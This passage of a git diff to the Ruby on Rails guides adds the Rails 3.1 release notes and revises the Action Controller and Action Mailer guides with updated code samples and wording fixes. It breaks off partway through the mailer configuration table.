"Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. * All mailers are now in <tt>app/mailers</tt> by default. * Can now send email using new API with three methods: +attachments+, +headers+ and +mail+. @@ -589,7 +589,7 @@ More Information: h3. Credits -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them. +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them. Rails 3.0 Release Notes were compiled by "Mikel Lindsaar":http://lindsaar.net. diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile new file mode 100644 index 0000000000..c4da87dc34 --- /dev/null +++ b/railties/guides/source/3_1_release_notes.textile @@ -0,0 +1,431 @@ +h2. Ruby on Rails 3.1 Release Notes + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.1 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +h4. Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +h3. Creating a Rails 3.1 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - "bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/bin/rails new myapp --dev +</shell> + +h3. Rails Architectural Changes + +h4. Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. + +h4. HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +h4. Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +<shell> +$ rails new myapp -j prototype +</shell> + +h4. Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +h3. Railties + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. + +* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. + +* Added <tt>Rack::Cache</tt> to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +h3. Action Pack + +h4. Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. + +* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. + +* URL parameters which return +nil+ for +to_param+ are now removed from the query string. + +* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. + +* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. + +* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. + +<ruby> +class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end +end +</ruby> + +..can now be written as + +<ruby> +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end +end +</ruby> + +* Added streaming support, you can enable it with: + +<ruby> +class PostsController < ActionController::Base + stream +end +</ruby> + +You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +h4. Action Dispatch + +* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. + +* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. + +* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. + +* Added <tt>Rack::Cache</tt> to the default stack. + +* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. + +* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. + +* Template lookup now searches further up in the inheritance chain. + +h4. Action View + +* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. + +* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. + +* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. + +* Added HTML5 +button_tag+ helper. + +* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: + +<plain> +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) +# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> +</plain> + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. + +* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink + +h3. Active Record + +* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. +<ruby> +class User < ActiveRecord::Base + self.pluralize_table_names = false +end +</ruby> + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + +<ruby> +class User < ActiveRecord::Base + has_one :account +end + +user.build_account{ |a| a.credit_limit = 100.0 } +</ruby> + +* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + +<ruby> +class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin +end + +Post.new(params[:post], :as => :admin) +</ruby> + +* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. + +* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. + +* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. + +* limits and offsets are removed from COUNT queries unless both are supplied. +<ruby> +People.limit(1).count # => 'SELECT COUNT(*) FROM people' +People.offset(1).count # => 'SELECT COUNT(*) FROM people' +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' +</ruby> + +* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. + +* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. + +* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. + +<ruby> +change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime +end +</ruby> + +* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. + +* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. +<ruby> +class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end +end +</ruby> + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: +<ruby> +class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end +end +</ruby> + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + +<ruby> +has_many :things, :conditions => 'foo = #{bar}' # before +has_many :things, :conditions => proc { "foo = #{bar}" } # after +</ruby> + +Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. + +You can have any "normal" conditions inside the proc, so the following will work too: + +<ruby> +has_many :things, :conditions => proc { ["foo = ?", bar] } +</ruby> + +* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. + +<ruby> +# Schema: User(name:string, password_digest:string, password_salt:string) +class User < ActiveRecord::Base + has_secure_password +end +</ruby> + +* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns. + +* Setting the id of a +belongs_to+ object will update the reference to the object. + +* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +h3. Active Model + +* +attr_accessible+ accepts an option +:as+ to specify a role. + +* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. + +* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate <tt>I18n</tt> namespace lookup is no longer supported. + +h3. Active Resource + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, + +<ruby> +class User < ActiveResource::Base + self.format = :xml +end +</ruby> + +h3. Active Support + +* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. + +* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. + +* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. + +* Added <tt>Object#in?</tt> to test if an object is included in another object. + +* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. + +* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. + +* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. + +* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. + +* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. + +* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. + +Deprecations: + +* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 891bae3d5e..b34c223b31 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -166,10 +166,10 @@ h3. Session Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: -* CookieStore - Stores everything on the client. -* DRbStore - Stores the data on a DRb server. -* MemCacheStore - Stores the data in a memcache. -* ActiveRecordStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CookieStore - Stores everything on the client. +* ActiveRecord::SessionStore - Stores the data in a database using Active Record. +* ActionDispatch::Session::CacheStore - Stores the data in the Rails cache. +* ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). @@ -177,6 +177,8 @@ For most stores this ID is used to look up the session data on the server, e.g. The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + Read more about session storage in the "Security Guide":security.html. If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file: @@ -684,9 +686,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -794,7 +798,7 @@ NOTE: Certain exceptions are only rescuable from the +ApplicationController+ cla h3. Force HTTPS protocol -Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reason. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: +Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. Since Rails 3.1 you can now use +force_ssl+ method in your controller to enforce that: <ruby> class DinnerController @@ -802,7 +806,7 @@ class DinnerController end </ruby> -Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions +Just like the filter, you could also passing +:only+ and +:except+ to enforce the secure connection only to specific actions. <ruby> class DinnerController @@ -813,9 +817,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index a6ff8f877d..ad5b848d2c 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not h3. Introduction -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. h3. Sending Emails @@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = "http://example.com/login" - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") + mail(:to => user.email, :subject => "Welcome to My Awesome Site") end - end </ruby> @@ -104,7 +102,7 @@ When you call the +mail+ method now, Action Mailer will detect the two templates h5. Wire It Up So That the System Sends the Email When a User Signs Up -There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. +There are several ways to do this, some people create Rails Observers to fire off emails, others do it inside of the User Model. However, in Rails 3, mailers are really just another way to render a view. Instead of rendering a view and sending out the HTTP protocol, they are just sending it out through the Email protocols instead. Due to this, it makes sense to just have your controller tell the mailer to send an email when a user is successfully created. Setting this up is painfully simple. @@ -142,17 +140,17 @@ end This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out. +The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. -WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job. +WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. h4. Auto encoding header values Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. +If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library. @@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already h5. Making Inline Attachments -ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. * Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: @@ -242,32 +240,33 @@ end h5. Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma. +It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. <ruby> - class AdminMailer < ActionMailer::Base - default :to => Admin.all.map(&:email).join(", "), - :from => "notification@example.com" +class AdminMailer < ActionMailer::Base + default :to => Admin.all.map(&:email), + :from => "notification@example.com" - def new_registration(user) - @user = user - mail(:subject => "New User Signup: #{@user.email}") - end + def new_registration(user) + @user = user + mail(:subject => "New User Signup: #{@user.email}") end +end </ruby> +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. + h5. Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format <tt>"Name <email>"</tt>. <ruby> - def welcome_email(user) - @user = user - email_with_name = "#{@user.name} <#{@user.email}>" - mail(:to => email_with_name, - :subject => "Welcome to My Awesome Site") - end +def welcome_email(user) + @user = user + email_with_name = "#{@user.name} <#{@user.email}>" + mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") +end </ruby> h4. Mailer Views @@ -284,16 +283,35 @@ class UserMailer < ActionMailer::Base @user = user @url = "http://example.com/login" mail(:to => user.email, + :subject => "Welcome to My Awesome Site", + :template_path => 'notifications', + :template_name => 'another') + end +end +</ruby> + +In this case it will look for templates at +app/views/notifications+ with name +another+. + +If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file: + +<ruby> +class UserMailer < ActionMailer::Base + default :from => "notifications@example.com" + + def welcome_email(user) + @user = user + @url = "http://example.com/login" + mail(:to => user.email, :subject => "Welcome to My Awesome Site") do |format| format.html { render 'another_template' } - format.text { render 'another_template' } + format.text { render :text => 'Render text' } end end end </ruby> -Will render 'another_template.text.erb' and 'another_template.html.erb'. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt> etc. +This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as <tt>:text</tt>, <tt>:inline</tt> etc. h4. Action Mailer Layouts @@ -363,7 +381,7 @@ h4. Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. -The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order: +The order of the parts getting inserted is determined by the <tt>:parts_order</tt> inside of the <tt>ActionMailer::Base.default</tt> method. If you want to explicitly alter the order, you can either change the <tt>:parts_order</tt> or explicitly render the parts in a different order: <ruby> class UserMailer < ActionMailer::Base @@ -383,7 +401,7 @@ Will put the HTML part first, and the plain text part second. h4. Sending Emails with Attachments -Attachments can be added by using the +attachment+ method: +Attachments can be added by using the +attachments+ method: <ruby> class UserMailer < ActionMailer::Base @@ -401,7 +419,7 @@ The above will send a multipart email with an attachment, properly nested with t h3. Receiving Emails -Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: +Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: * Implement a +receive+ method in your mailer. @@ -419,7 +437,7 @@ class UserMailer < ActionMailer::Base ) if email.has_attachments? - for attachment in email.attachments + email.attachments.each do |attachment| page.attachments.create({ :file => attachment, :description => email.subject @@ -438,18 +456,18 @@ h3. Action Mailer Configuration The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|template_root|Determines the base from which template references will be made.| -|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| -|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>| -|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>| -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.| -|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit 